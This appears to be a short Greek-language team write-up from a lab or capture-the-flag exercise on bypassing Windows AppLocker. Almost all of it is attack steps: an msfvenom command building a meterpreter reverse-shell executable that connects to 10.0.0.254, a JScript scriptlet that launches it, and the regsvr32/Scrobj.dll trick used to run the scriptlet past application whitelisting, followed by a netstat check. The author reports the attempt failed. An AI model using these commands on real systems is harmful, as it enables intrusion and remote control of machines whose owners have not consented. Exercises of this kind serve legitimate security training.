[1 - App Locker] GFOSS - Panoptis

giahat
1.Δημιουργία του payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.254 PORT=10045 -f exe >giahatnew.exe
2.Δημιουργούμε το scriptlet giahat.sct
<?XML version="1.0"?>
<scriptlet>
<registration
progid="Pentest"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<script language="JScript">

<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("giahatnew.exe");
]]>

</script>
</registration>
</scriptlet>

3. Το τρεχουμε στον 10.10.12.5 αφου κανουμε Login με το account μας
user11@DESKTOP-DNUIEHQ c:\Users\user11\Desktop>regsvr32 /u /n /s /i:giahat.sct Scrobj.dll
4. Τσεκάρουμε αν ‘εχουμε connection με τον 10,0,0,254
netstat -ano |findstr 10045

Δυστυχώς όμως δεν επαιξε...απ ότι είδα τα κατάφερε η ομάδα με το port 6258
giahat